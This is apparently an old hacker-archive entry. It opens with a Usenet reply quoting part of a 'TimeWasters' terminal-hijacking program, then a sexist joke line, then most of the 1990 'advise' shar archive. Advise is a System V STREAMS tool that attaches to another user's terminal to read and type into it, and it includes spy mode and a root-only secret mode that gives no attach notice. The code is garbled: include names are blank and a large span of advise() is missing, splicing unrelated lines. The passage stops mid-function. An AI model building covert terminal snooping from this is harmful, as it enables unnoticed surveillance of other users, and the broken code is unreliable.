fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) writes: +>Here's a small program I wrote a while back. It speaks for itself, +>compile it, run it in the background (with &) and sit back. +>This program is an official release of the TimeWasters from HOLLAND ! +> +>--- +> close(0); /* close stdin */ +>#ifdef ULTRIX +>if(setpgrp(0,100)==-1) +>perror("setpgrp:"); /* Hopefully this works */ +>#else +>if(setsid()==-1) +>perror("setsid:"); /* Disconnect from our controlling TTY and +> start a new session as sessionleader */ +>#endif +> f=fopen(term,"r"); /* Open tty as a stream, this guarantees +> getting file descriptor 0 */ +> if (f==NULL) +> { printf("Error opening %s with fopen()\n",term); +> exit(2); +> } +>if (DEBUG) system("ps -xu>>/dev/null &"); +> fclose(f); /* Close the TTY again */ +> f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */ +> if (f==NULL) +> { printf("Error opening /dev/tty with fopen()\n",term); +> exit(2); +> } + +This program does not exhibit the problem on AT&T UNIX System V/386 Release 4.0 +Version 2.[01]. The fopen of "/dev/tty" fails because the setsid() passed +successfully. + +In this small program: +# cat T.c +main() +{ +setsid(); +fopen("/dev/tty", "r"); +} +# make T +cc -O T.c -o T +# truss ./T + +You'll see the fopen fails w/ ENXIO. If the setsid() is removed, then the +fopen passes fine. + + +Sincerely, + +John Ben Urban + +------------------------------------------------------------------------------ +Comments: Buggy and needs some clean up work. Someone please submit a re-do. +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== + +There's something about a beautiful woman without a brain in her head that +can still be exciting... + +============================================================================== +tty-spy2 4.cb.15.05 04/04/92 +------------------------------------------------------------------------------ +DATA: + +From: ag@cbmvax.commodore.com (Keith Gabryelski) +Newsgroups: alt.sources +Subject: advise (spy) for streams ttys. +Message-ID: <15193@cbmvax.commodore.com> +Date: 16 Oct 90 23:26:25 GMT + +The included source code includes + +advise.c# a user program to interact with +# the advise device and module. + +advisedev.c# the advise device driver. +# (requests to attach to a users terminal +# are done through this device) + +advisemod.c# the advise module. +# (this module is pushed onto the advisee's +# tty stream so advisedev may attach to +# it.) + +advisemod.h# useful header file. + +COPYING Makefile# Other files. + +Pax, Keith + +Ps, This will only work under System V Release 4.0 streams ttys. + + With little effort it could be made to work under other streams + tty subsystems. + + No amount of effort (save re-thinking and re-implimenting) will + make this thing work on non-streams based ttys. + +#! /bin/sh +# This is a shell archive, meaning: +# 1. Remove everything above the #! /bin/sh line. +# 2. Save the resulting text in a file. +# 3. Execute the file with /bin/sh (not csh) to create the files: +#COPYING +#Makefile +#advise.c +#advise.man +#advisedev.c +#advisemod.c +#advisemod.h +# This archive created: Tue Oct 16 19:15:42 1990 +export PATH; PATH=/bin:$PATH +if test -f 'COPYING' +then +echo shar: will not over-write existing file "'COPYING'" +else +cat << \SHAR_EOF > 'COPYING' + + Advise GENERAL PUBLIC LICENSE + (Clarified 11 Feb 1988) + + Copyright (C) 1988 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license, but changing it is not allowed. You can also + use this wording to make the terms for other programs. + + The license agreements of most software companies keep you at the +mercy of those companies. By contrast, our general public license is +intended to give everyone the right to share Advise. To make sure that +you get the rights we want you to have, we need to make restrictions +that forbid anyone to deny you these rights or to ask you to surrender +the rights. Hence this license agreement. + + Specifically, we want to make sure that you have the right to give +away copies of Advise, that you receive source code or else can get it +if you want it, that you can change Advise or use pieces of it in new +free programs, and that you know you can do these things. + + To make sure that everyone has such rights, we have to forbid you to +deprive anyone else of these rights. For example, if you distribute +copies of Advise, you must give the recipients all the rights that you +have. You must make sure that they, too, receive or can get the +source code. And you must tell them their rights. + + Also, for our own protection, we must make certain that everyone +finds out that there is no warranty for Advise. If Advise is modified by +someone else and passed on, we want its recipients to know that what +they have is not what we distributed, so that any problems introduced +by others will not reflect on our reputation. + + Therefore we (Richard Stallman and the Free Software Foundation, +Inc.) make the following terms which say what you must do to be +allowed to distribute or change Advise. + + +COPYING POLICIES + + 1. You may copy and distribute verbatim copies of Advise source code +as you receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy a valid copyright notice "Copyright +(C) 1988 Free Software Foundation, Inc." (or with whatever year is +appropriate); keep intact the notices on all files that refer to this +License Agreement and to the absence of any warranty; and give any +other recipients of the Advise program a copy of this License +Agreement along with the program. You may charge a distribution fee +for the physical act of transferring a copy. + + 2. You may modify your copy or copies of Advise or any portion of it, +and copy and distribute such modifications under the terms of +Paragraph 1 above, provided that you also do the following: + + a) cause the modified files to carry prominent notices stating + that you changed the files and the date of any change; and + + b) cause the whole of any work that you distribute or publish, + that in whole or in part contains or is a derivative of Advise or + any part thereof, to be licensed at no charge to all third + parties on terms identical to those contained in this License + Agreement (except that you may choose to grant more extensive + warranty protection to some or all third parties, at your option). + + c) You may charge a distribution fee for the physical act of + transferring a copy, and you may at your option offer warranty + protection in exchange for a fee. + +Mere aggregation of another unrelated program with this program (or its +derivative) on a volume of a storage or distribution medium does not bring +the other program under the scope of these terms. + + 3. You may copy and distribute Advise (or a portion or derivative of it, +under Paragraph 2) in object code or executable form under the terms of +Paragraphs 1 and 2 above provided that you also do one of the following: + + a) accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of + Paragraphs 1 and 2 above; or, + + b) accompany it with a written offer, valid for at least three + years, to give any third party free (except for a nominal + shipping charge) a complete machine-readable copy of the + corresponding source code, to be distributed under the terms of + Paragraphs 1 and 2 above; or, + + c) accompany it with the information you received as to where the + corresponding source code may be obtained. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form alone.) + +For an executable file, complete source code means all the source code for +all modules it contains; but, as a special exception, it need not include +source code for modules which are standard libraries that accompany the +operating system on which the executable file runs. + + 4. You may not copy, sublicense, distribute or transfer Advise +except as expressly provided under this License Agreement. Any attempt +otherwise to copy, sublicense, distribute or transfer Advise is void and +your rights to use the program under this License agreement shall be +automatically terminated. However, parties who have received computer +software programs from you with this License Agreement will not have +their licenses terminated so long as such parties remain in full compliance. + + 5. If you wish to incorporate parts of Advise into other free programs +whose distribution conditions are different, write to the Free Software +Foundation at 675 Mass Ave, Cambridge, MA 02139. We have not yet worked +out a simple rule that can be stated here, but we will often permit this. +We will be guided by the two goals of preserving the free status of all +derivatives of our free software and of promoting the sharing and reuse of +software. + +Your comments and suggestions about our licensing policies and our +software are welcome! Please contact the Free Software Foundation, Inc., +675 Mass Ave, Cambridge, MA 02139, or call (617) 876-3296. + + NO WARRANTY + + BECAUSE ADVISE IS LICENSED FREE OF CHARGE, WE PROVIDE ABSOLUTELY NO +WARRANTY, TO THE EXTENT PERMITTED BY APPLICABLE STATE LAW. EXCEPT +WHEN OTHERWISE STATED IN WRITING, FREE SOFTWARE FOUNDATION, INC, +RICHARD M. STALLMAN AND/OR OTHER PARTIES PROVIDE ADVISE "AS IS" WITHOUT +WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND +PERFORMANCE OF ADVISE IS WITH YOU. SHOULD ADVISE PROVE DEFECTIVE, YOU +ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL RICHARD M. +STALLMAN, THE FREE SOFTWARE FOUNDATION, INC., AND/OR ANY OTHER PARTY +WHO MAY MODIFY AND REDISTRIBUTE GNU SEND AS PERMITTED ABOVE, BE LIABLE TO +YOU FOR DAMAGES, INCLUDING ANY LOST PROFITS, LOST MONIES, OR OTHER +SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR +INABILITY TO USE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA +BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY THIRD PARTIES OR A +FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS) GNU SEND, EVEN +IF YOU HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR +ANY CLAIM BY ANY OTHER PARTY. +SHAR_EOF +fi # end of overwriting check +if test -f 'Makefile' +then +echo shar: will not over-write existing file "'Makefile'" +else +cat << \SHAR_EOF > 'Makefile' +# Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) +# +# This file is part of advise. +# +# advise is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY. No author or distributor +# accepts responsibility to anyone for the consequences of using it +# or for whether it serves any particular purpose or works at all, +# unless he says so in writing. Refer to the advise General Public +# License for full details. +# +# Everyone is granted permission to copy, modify and redistribute +# advise, but only under the conditions described in the +# advise General Public License. A copy of this license is +# supposed to have been given to you along with advise so you +# can know your rights and responsibilities. It should be in a +# file named COPYING. Among other things, the copyright notice +# and this notice must be preserved on all copies. */ +# +# Author:Keith Gabryelski(ag@amix.commodore.com) +# + +CC=gcc +CFLAGS=-O + +all: advise + +advise.o: advisemod.h +SHAR_EOF +fi # end of overwriting check +if test -f 'advise.c' +then +echo shar: will not over-write existing file "'advise.c'" +else +cat << \SHAR_EOF > 'advise.c' +/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) + +This file is part of advise. + +advise is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY. No author or distributor +accepts responsibility to anyone for the consequences of using it +or for whether it serves any particular purpose or works at all, +unless he says so in writing. Refer to the advise General Public +License for full details. + +Everyone is granted permission to copy, modify and redistribute +advise, but only under the conditions described in the +advise General Public License. A copy of this license is +supposed to have been given to you along with advise so you +can know your rights and responsibilities. It should be in a +file named COPYING. Among other things, the copyright notice +and this notice must be preserved on all copies. */ + +/* +** Author:Keith Gabryelski(ag@amix.commodore.com) +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "advisemod.h" + +extern char *optarg; + +#define max(a,b) ((a)>(b)?(a):(b)) + +static struct module_list +{ + char *name;/* name of module */ + struct module_list *next;/* next module to be pushed */ +} advise_module_list = +{ + "advise", NULL, +}; + +static void usage(void), advise(char *); +static char *strchar(char); +static struct module_list *list_modules(int, char *); + +static int allow_deny_p, allow_deny; +static int allow_advise_p, allow_advise; +static int error_flag; +static int secret, spy; +static int meta_character = '~'; +static char *progname; +static char *module = "ldterm"; + +int +main(int argc, char **argv) +{ + int c, error = 0; + struct termios termios; + struct module_list *modules; + + progname = *argv; + + while((c = getopt(argc, argv, "ADM:Sadm:s?")) != EOF) + { +switch(c) +{ +case 's': + spy++; + break; + +case 'S': + if (!getuid()) +secret++; + break; + +case 'a': + allow_deny_p++; + allow_deny=ADVISE_ALLOW; + allow_advise_p++; + allow_advise++; + break; + +case 'd': + allow_advise_p++; + allow_advise=0; + break; + +case 'A': + allow_deny_p++; + allow_deny=ADVISE_ALLOW; + break; + +case 'D': + allow_deny_p++; + allow_deny=ADVISE_DENY; + break; + +case 'm': + meta_character = optarg[0]; + break; + +case 'M': + module = optarg; + break; + +case '?': + error_flag++; + break; +} + +if (error_flag) +{ + usage(); +} + } + + if (allow_advise_p) + { +int status = ioctl(0, ADVISE_STATUS, &status); + +if (allow_advise && status) +{ + int advise_module_pushed = 0; + + /* Push advise module on stream */ + (void) ioctl(0, TCGETS, &termios); + + modules = list_modules(0, module); + + advise_module_list.next = modules; + + for (modules = &advise_module_list; + modules != NULL; + modules = modules->next) + { + +if (!strcmp(modules->name, "advise")) +{ + if (advise_module_pushed) +continue; + + advise_module_pushed = 1; +} + +if (ioctl(0, I_PUSH, modules->name)) +{ + (void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n", + progname, modules->name, strerror(errno)); + error++; +} + } + + (void) ioctl(0, TCSETS, &termios); +} + +if (!allow_advise && !status) +{ + (void) ioctl(0, TCGETS, &termios); + + modules = list_modules(0, "advise"); + + while (modules != NULL) + { +if (strcmp(modules->name, "advise")) +{ + if (ioctl(0, I_PUSH, modules->name)) + { +(void) fprintf(stderr, + "%s: Couldn't I_PUSH: %s (%s).\n", + progname, modules->name, + strerror(errno)); +error++; + } +} + +modules = modules->next; + } + + (void) ioctl(0, TCSETS, &termios); +} + +if (!allow_deny_p) + return error ? 1 : 0; + } + + if (allow_deny_p) + { +if (ioctl(0, allow_deny, 0)) +{ + if (errno == EINVAL) + { +(void) fprintf(stderr, "%s: module \"advise\" not in stream.\n", + progname); + } + else + { +(void) fprintf(stderr, "%s: Couldn't set advisory mode (%s).\n", + progname, strerror(errno)); + } + + return 1; +} + +return 0; + } + + /* All switches have been handled */ + + argc -= optind; + argv += optind; + + if (argc > 1) + { +usage(); + } + + if (argc == 0) + { +int status; + +/* +** Status of advise. +*/ + +if (ioctl(0, ADVISE_STATUS, &status)) +{ + printf("Module \"advise\" not pushed on stream.\n"); +} +else +{ + printf("Advise access %s\n", status ? "allowed" : "denied"); +} + +return 0; + } + + advise(*argv); + + return 0; +} + +void +usage() +{ + (void) fprintf(stderr, "usage: %s [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]\n", + progname); + exit(1); +} + +static void +advise(char *who) +{ + int ret, fd, metad=0; + char buf[1024], *device, *devname, *login_name, *tty_name; + struct pollfd pfds[2]; + struct termios termios, oldtermios; + struct stat stbuf; + struct utmp *ut, uts; + char username[sizeof(ut->ut_name) + 1]; + + username[0] = '\0'; + + if (*who == '/') /* full path name */ +device = who; + else + { +/* Either this is /dev/ + who OR a username */ + +setutent(); + +while ((ut = getutent()) != NULL) +{ + if (!strncmp(who, ut->ut_name, sizeof(ut->ut_name))) + { +device = (char *)malloc(sizeof("/dev/") + +sizeof(ut->ut_name)); + +if (device == NULL) +{ + (void) fprintf(stderr, + "%s: malloc failed (Out of Memory)\n", + progname); + + exit(1); +} + +strcpy(device, "/dev/"); +strncat(device, ut->ut_name, sizeof(ut->ut_name)); +device[sizeof("/dev/")+sizeof(ut->ut_name)] = '\0'; + +strncpy(username, ut->ut_name, sizeof(ut->ut_name)); +username[sizeof(ut->ut_name)] = '\0'; +break; + } +} + +if (ut == NULL) /* Is /dev/ + who */ +{ + device = (char *)malloc(sizeof("/dev/") + strlen(who)); + + if (device == NULL) + { +(void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n", +progname); + +exit(1); + } + + strcpy(device, "/dev/"); + strcat(device, who); +} + +endutent(); + } + + devname = device + sizeof("/dev/") - 1; + + if (username[0] == '\0') + { +setutent(); + +strncpy(uts.ut_line, devname, sizeof(uts.ut_line)); + +if ((ut = getutline(&uts)) != NULL) +{ + strncpy(username, ut->ut_name, sizeof(ut->ut_name)); + username[sizeof(ut->ut_name)] = '\0'; +} +else +{ + strcpy(username, "unknown"); +} + +endutent(); + } + + if (stat(device, &stbuf) < 0) + { +if (errno == ENOENT) +{ + (void) fprintf(stderr, "%s: no advisee device: , spy ? "spying" : "advising", username, devname); + + data.len = strlen(str); + data.buf = str; + + (void) putmsg(fd, &ctl, &data, 0); + + free(str); +} + } + + + if (!spy) + { +(void) ioctl(0, TCGETS, &termios); + +oldtermios = termios; +termios.c_cc[VMIN] = 1; +termios.c_cc[VTIME] = 0; +termios.c_lflag &= ~(ISIG|ICANON|ECHO); + +(void) ioctl(0, TCSETS, &termios); + } + + pfds[0].fd = fd; + pfds[0].events = POLLIN; + + pfds[1].fd = 0; + pfds[1].events = POLLIN; + + for (;;) + { +if (poll(pfds, 2, INFTIM) < 0) + continue; + +if ((pfds[0].revents&POLLIN) != 0) /* data from advisee ready */ +{ + if ((ret = read(fd, buf, sizeof(buf))) > 0) +write(1, buf, ret); +} + +if ((pfds[1].revents&POLLIN) != 0) /* data from advisor ready */ +{ + if ((ret = read(0, buf, sizeof(buf))) > 0) + { +if (!spy) +{ + register int i; + register char *p = buf, *pp=buf; + + for (i=0; i < ret; ++i, p++) + { +if (metad) +{ + if (metad == 2) + { +meta_character = *p; +printf("The meta character is now: %s\n", + strchar(meta_character)); +pp++; +metad = 0; +continue; + } + + switch (*p) + { + case '=': +metad=2; +pp++; +break; + + case '?': + { +char *escstr = strchar(meta_character); + +printf("Help for meta character <%s>:\n", + escstr); +printf("%s?\t-- This help message.\n", escstr); +printf("%s~\t-- Send a single meta character.\n", + escstr); +printf("%s.\t-- Disconnect advise session.\n", + escstr); +printf("%s=C\t-- Change meta character to C.\n", + escstr); +printf("%s^Z\t-- Suspend advise session.\n", + escstr); +pp++; +metad=0; +break; + } + + case '.': + { +if (!secret) +{ + char *str; + + str = malloc(strlen(login_name) + + strlen(tty_name) + + sizeof("[/ disconnecting from :]\n") + + strlen(username) + strlen(devname)); + + if (str) + { +struct advise_message m; +struct strbuf ctl, data; + +m.type = ADVISE_READDATA; + +ctl.len = sizeof(m); +ctl.buf = (void *)&m; + +sprintf(str, "[%s/%s disconnecting from %s:%s]\n\r", +login_name, tty_name, username, +devname); + +data.len = strlen(str); +data.buf = str; + +(void) putmsg(fd, &ctl, &data, 0); + +free(str); + } +} + +close(fd); + +(void) ioctl(0, TCSETS, &oldtermios); + +exit(0); + } + + case CTRL('Z'): + { +(void) ioctl(0, TCSETS, &oldtermios); +(void) signal(SIGTSTP, SIG_DFL); +(void) kill(0, SIGTSTP); +(void) ioctl(0, TCSETS, &termios); +metad=0; +break; + } + + default: +metad=0; +break; + } +} +else +{ + if (*p == meta_character) + { +int d = p - pp; + +metad=1; + +if (d) + write(fd, pp, d); + +pp += d + 1; +i += d; + } +} + } + + if (p - pp) + { +struct advise_message m; +struct strbuf ctl, data; + +m.type = ADVISE_DATA; + +ctl.len = sizeof(m); +ctl.buf = (void *)&m; + +data.len = p - pp; +data.buf = p; + +(void) putmsg(fd, &ctl, &data, 0); + } +} + } +} + } +} + +static struct module_list * +list_modules(int fd, char *push_below) +{ + char lookbuf[max(FMNAMESZ+1,256)]; + struct module_list *mp, *mpp; + + mp = NULL; + + while (ioctl(fd, I_LOOK, lookbuf) == 0) + { +if (ioctl(fd, I_POP, 0)) +{ + (void) fprintf(stderr, "%s: Couldn't I_POP: %s (%s).\n", progname, + lookbuf, strerror(errno)); + return mp; +} + +if ((mpp = malloc(sizeof(struct module_list))) == NULL || + (mpp->name = malloc(strlen(lookbuf) + 1)) == NULL) +{ + (void) fprintf(stderr, "%s: Couldn't malloc (out of memory).\n", + progname); + return mp; +} + +mpp->next = mp; +mp = mpp; + +strcpy(mp->name, lookbuf); + +if (!strcmp(push_below, lookbuf)) + break; + } + + return mp; +} + +static char * +strchar(char character) +{ + static char retbuf[4]; + char *p = retbuf; + int capit = 0; + + if (!isascii(character)) + { +*p++ = '~'; +capit = 1; +character = toascii(character); + } + + if (iscntrl(character)) + { +*p++ = '^'; +capit = 1; +character += '@'; + } + + if (capit) +*p++ = toupper(character); + else +*p++ = character; + + *p = '\0'; + + return retbuf; +} +SHAR_EOF +fi # end of overwriting check +if test -f 'advise.man' +then +echo shar: will not over-write existing file "'advise.man'" +else +cat << \SHAR_EOF > 'advise.man' +.TH advise 1 +.SH NAME +advise \- Attach to another user. +.SH SYNOPSIS +.B advise +[-ADad?] [-M module] | [-Ss] [-m char] [ device | username ] +.SH DESCRIPTION +.B Advise +attaches a user (the advisor) to another user's (the advisee) terminal in +such a way the the advisor can type for the advisee and view what +the advisee's terminal is displaying. +.PP +The advisee would typically type ``advise -a'' to allow advise attaches; +the advisor would then type ``advise username'' which would connect the +advisors terminal the the advisee's. +.PP +All characters the advisor types are sent to the advisee's terminal +as if the advisee typed them save the meta character. +.PP +The default meta character is tilde (~). The advisor uses the meta +character to disconnect or suspend the advise session. The meta +commands that are available to the advisor are: +.PP +.RS +.TP +~? +Meta character help message. +.TP +~~ +Send the meta character to the advisee's terminal. +.TP +~. +Disconnect advise session. +.TP +~=C +Change the meta character to C. +.TP +~^Z +Suspend this advise session. +.RE +.PP +In Advise mode the advisor uses ``~.'' to disconnect the advise session +(Note: the advisor should use ``~~'' to send one tilde to the advisee's +terminal). +.PP +In ``spy mode'' the advisor should use an interrupt is use to disconnect +the advise session. +.PP +``advise -d'' can be used by the advisee to disconnect the advise +session. +.SH OPTIONS +.TP +-A +Allow advise attaches to this terminal. +.TP +-D +Disallow advise attaches to this terminal. +.TP +-M module +Name of module to place advise module under. +.TP +-S +When attaching to another user, don't send the attach message. +(available to the super user, only). +.TP +-a +Push advise module on standard input stream and allow advise +attaches. +.TP +-d +Push advise module on standard input stream and disallow advise +attaches. +.TP +-m char +Change the meta character to ``char''. The default meta character +is tilde (~). +.TP +-s +Spy mode only (ie, input from the advisor is not passed to the +advisee). +.TP +device +The name of the tty device to advise. +.TP +username +The name of the user to advise. +.SH AUTHOR +.RS +.PP +Keith M. Gabryelski (ag@amix.commodore.com) +.RE +SHAR_EOF +fi # end of overwriting check +if test -f 'advisedev.c' +then +echo shar: will not over-write existing file "'advisedev.c'" +else +cat << \SHAR_EOF > 'advisedev.c' +/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) + +This file is part of advise. + +advise is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY. No author or distributor +accepts responsibility to anyone for the consequences of using it +or for whether it serves any particular purpose or works at all, +unless he says so in writing. Refer to the advise General Public +License for full details. + +Everyone is granted permission to copy, modify and redistribute +advise, but only under the conditions described in the +advise General Public License. A copy of this license is +supposed to have been given to you along with advise so you +can know your rights and responsibilities. It should be in a +file named COPYING. Among other things, the copyright notice +and this notice must be preserved on all copies. */ + +/* +** Author:Keith Gabryelski(ag@amix.commodore.com) +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "advisemod.h" +#include + +int adviseopen(), adviseclose(), adviserput(), advisewput(); +void advisesrvioc(); + +static struct module_info advisemiinfo = +{ + 0, "advise", 0, INFPSZ, 2048, 128, +}; + +static struct qinit adviserinit = +{ + adviserput, NULL, adviseopen, adviseclose, NULL, &advisemiinfo, +}; + +static struct module_info advisemoinfo = +{ + 42, "advise", 0, INFPSZ, 300, 200, +}; + +static struct qinit advisewinit = +{ + advisewput, NULL, adviseopen, adviseclose, NULL, &advisemoinfo, +}; + +struct streamtab adviseinfo = +{ + &adviserinit, &advisewinit, NULL, NULL, +}; + +extern struct advise_state advise_table; + + +/*ARGSUSED*/ +static int +adviseopen(q, devp, flag, sflag, credp) +register queue_t *q; +dev_t *devp; +int flag, sflag; +cred_t *credp; +{ + register mblk_t *bp; + struct advise_queue_list *ql; + struct advise_state *sp; + int i; + + if (sflag == MODOPEN) +return EINVAL; + + for (i=1; i < L_MAXMIN; ++i) + { +sp = &advise_table; + +while (sp->next != NULL) +{ + ql = sp->next->q_list; + + while (ql != NULL) + { +if (ql->minord == i) + break; + +ql = ql->next; + } + + if (ql != NULL) +break; + + sp = sp->next; +} + +if (sp->next == NULL) + break; + } + + if (i == L_MAXMIN) + { +return ENOMEM;/* no more resources */ + } + + *devp = makedevice(getmajor(*devp), i); + + if ((bp = allocb((int)sizeof(struct advise_queue_list), BPRI_MED)) == NULL) + { +return ENOMEM; + } + + bp->b_wptr += sizeof(struct advise_queue_list); + ql = (struct advise_queue_list *)bp->b_rptr; + ql->savbp = bp; + ql->next = NULL; + ql->q = q; + ql->state = NULL; + ql->minord = i; + + q->q_ptr = (caddr_t)ql; + WR(q)->q_ptr = (caddr_t)ql; + + return 0; +} + + +static +adviseclose(q) +register queue_t *q; +{ + struct advise_state *llist = &advise_table; + struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr; + struct advise_queue_list *ql, *qlp; + + /* Remove us from the advisor's list */ + + if (qp->state != NULL) + { +while (llist != NULL && llist->next != qp->state) + llist = llist->next; + +if (llist != NULL) +{ + ql = llist->next->q_list; + + if (ql->q == q) + { +llist->next->q_list = ql->next; + } + else + { +while (ql->next != NULL && ql->next->q != q) + ql = ql->next; + +if (ql->next != NULL) +{ + ql->next = ql->next->next; +} + } +} + } + + qp->state = NULL; + freeb(qp->savbp); + + q->q_ptr = NULL; +} + + +static int +adviserput(q, bp) +struct queue *q; +mblk_t *bp; +{ + putnext(q, bp); +} + + +static int +advisewput(q, bp) +struct queue *q; +mblk_t *bp; +{ + struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr; + struct advise_state *sp = qp->state; + + switch (bp->b_datap->db_type) + { + case M_PROTO: + { +struct advise_message *ms = (struct advise_message *)bp->b_rptr; +mblk_t *bp2 = unlinkb(bp); + +if (bp2) +{ + if (sp != NULL && sp->q != NULL) + { +if (ms->type == ADVISE_READDATA) +{ + putnext(WR(sp->q), bp2); +} +else +{ + putnext(sp->q, bp2); +} + } + else +freemsg(bp2); +} + +freemsg(bp); + +break; + } + + case M_DATA: +/* +** Write data to advisee. +*/ +if (sp != NULL && sp->q != NULL) + putnext(sp->q, bp); +else + freemsg(bp); +break; + + case M_IOCTL: + case M_IOCDATA: +advisesrvioc(q, bp); +break; + + default: +freemsg(bp); +break; + } +} + + +static void +advisesrvioc(q, mp) +queue_t *q; +mblk_t *mp; +{ + mblk_t *mp1; + struct iocblk *iocbp = (struct iocblk *)mp->b_rptr; + struct advise_queue_list *qp=(struct advise_queue_list *)q->q_ptr; + int s; + + if (mp->b_datap->db_type == M_IOCDATA) + { +/* For copyin/copyout failures, just free message. */ +if (((struct copyresp *)mp->b_rptr)->cp_rval) +{ + freemsg(mp); + return; +} + +if (!((struct copyresp *)mp->b_rptr)->cp_private) +{ + mp->b_datap->db_type = M_IOCACK; + freemsg(unlinkb(mp)); + iocbp->ioc_count = 0; + iocbp->ioc_rval = 0; + iocbp->ioc_error = 0; + putnext(RD(q), mp); + return; +} + } + + switch (iocbp->ioc_cmd) + { + case ADVISE_SETADVISEE: +{ + register dev_t p; + struct advise_queue_list *qlp; + struct advise_state *llist; + + if (qp->state != NULL) /* already advising someone */ + { +iocbp->ioc_error = EBUSY; +mp->b_datap->db_type = M_IOCNAK; +iocbp->ioc_count = 0; +putnext(RD(q), mp); +break; + } + + if (!mp->b_cont) + { +iocbp->ioc_error = EINVAL; +mp->b_datap->db_type = M_IOCNAK; +iocbp->ioc_count = 0; +putnext(RD(q), mp); +break; + } + + p = *(dev_t *)mp->b_cont->b_rptr; + + s = spladvise(); + + llist = advise_table.next; + + while (llist != NULL && llist->dev != p) + { +llist = llist->next; + } + + if (llist == NULL) + { +splx(s); +iocbp->ioc_error = EUNATCH; +mp->b_datap->db_type = M_IOCNAK; +iocbp->ioc_count = 0; +putnext(RD(q), mp); +break; + } + + if ((llist->status & ALLOW_ADVICE) == 0 && (!suser(u.u_cred))) + { +splx(s); +iocbp->ioc_error = EACCES; +mp->b_datap->db_type = M_IOCNAK; +iocbp->ioc_count = 0; +putnext(RD(q), mp); +break; + } + + /* + ** Add ourself to the list of advisors for this advisee. + */ + + if (llist->q_list == NULL) + { +qlp = llist->q_list = qp; + } + else + { +qlp = llist->q_list; + +while (qlp->next != NULL) + qlp = qlp->next; + +qlp->next = qp; +qlp = qp; + } + + qlp->state = llist; + + splx(s); + + mp->b_datap->db_type = M_IOCACK; + mp1 = unlinkb(mp); + if (mp1) +freeb(mp1); + iocbp->ioc_count = 0; + putnext(RD(q), mp); + break; +} + + default: +/* Unrecognized ioctl command */ +if (canput(RD(q)->q_next)) +{ + mp->b_datap->db_type = M_IOCNAK; + putnext(RD(q), mp); +} +else + putbq(q, mp); +break; + } +} +SHAR_EOF +fi # end of overwriting check +if test -f 'advisemod.c' +then +echo shar: will not over-write existing file "'advisemod.c'" +else +cat << \SHAR_EOF > 'advisemod.c' +/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) + +This file is part of advise. + +advise is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY. No author or distributor +accepts responsibility to anyone for the consequences of using it +or for whether it serves any particular purpose or works at all, +unless he says so in writing. Refer to the advise General Public +License for full details. + +Everyone is granted permission to copy, modify and redistribute +advise, but only under the conditions described in the +advise General Public License. A copy of this license is +supposed to have been given to you along with advise so you +can know your rights and responsibilities. It should be in a +file named COPYING. Among other things, the copyright notice +and this notice must be preserved on all copies. */ + +/* +** Author:Keith Gabryelski(ag@amix.commodore.com) +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "advisemod.h" +#include + +int advisemopen(), advisemclose(), advisemrput(), advisemwput(); + +static struct module_info advisemiinfo = +{ + 0, "advisemod", 0, INFPSZ, 2048, 128, +}; + +static struct qinit adviserinit = +{ + advisemrput, NULL, advisemopen, advisemclose, NULL, &advisemiinfo, +}; + +static struct module_info advisemoinfo = +{ + 42, "advisemod", 0, INFPSZ, 300, 200, +}; + +static struct qinit advisewinit = +{ + advisemwput, NULL, advisemopen, advisemclose, NULL, &advisemoinfo, +}; + +struct streamtab advisemodinfo = +{ + &adviserinit, &advisewinit, NULL, NULL, +}; + +struct advise_state advise_table; + + +/*ARGSUSED*/ +static int +advisemopen(q, devp, flag, sflag, credp) +register queue_t *q; +dev_t *devp; +int flag, sflag; +cred_t *credp; +{ + register struct advise_state *sp; + register mblk_t *bp; + struct advise_state *llist = &advise_table; + + if (sflag != MODOPEN) +return EINVAL; + + if ((bp = allocb((int)sizeof(struct advise_state), BPRI_MED)) == NULL) + { +return ENOMEM; + } + + bp->b_wptr += sizeof(struct advise_state); + sp = (struct advise_state *)bp->b_rptr; + sp->savbp = bp; + + sp->dev = *devp; + sp->status = 0;/* Deny access by default */ + sp->next = NULL; + sp->q_list = NULL; + sp->q = q; + + while (llist->next != NULL) + { +if (llist->next->dev == *devp) +{ + /* + ** We are already pushed on this stream. + */ + freeb(bp); + + sp = llist->next; + + break; +} + +llist = llist->next; + } + + llist->next = sp; + + q->q_ptr = (caddr_t)sp; + WR(q)->q_ptr = (caddr_t)sp; + + return 0; +} + + +static +advisemclose(q) +register queue_t *q; +{ + register struct advise_state *sp = (struct advise_state 